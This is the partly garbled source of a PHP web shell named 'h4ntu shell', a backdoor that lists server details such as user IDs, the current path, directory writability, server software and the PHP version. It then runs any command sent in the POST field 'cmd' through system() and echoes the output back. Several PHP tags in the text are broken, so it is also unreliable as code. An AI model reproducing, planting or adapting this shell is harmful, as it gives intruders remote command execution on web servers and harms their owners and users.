h4ntu shell [powered by tsoi]\n
This Is The Server Information
"; closelog( ); $user = get_current_user( ); $login = posix_getuid( ); $euid = posix_geteuid( ); $ver = phpversion( ); $gid = posix_getgid( ); if ($chdir == "") $chdir = getcwd( ); if(!$whoami)$whoami=exec("whoami"); ?>= $info ?>: = $value ?> |
User Info: uid== $login ?>(= $whoami?>) euid== $euid ?>(= $whoami?>) gid== $gid ?>(= $whoami?>) |
Current Path: = $chdir ?> |
Permission Directory: if(@is_writable($chdir)){ echo "Yes"; }else{ echo "No"; } ?> |
Server Services: = "$SERVER_SOFTWARE $SERVER_VERSION"; ?> |
Server Adress: = "$SERVER_ADDR $SERVER_NAME"; ?> |
Script Current User: = $user ?> |
PHP Version: = $ver ?> |
$cmd = $_POST['cmd'];
if (isset($chdir)) @chdir($chdir);
ob_start();
system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
$output = ob_get_contents();
ob_end_clean();
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
exit;
?>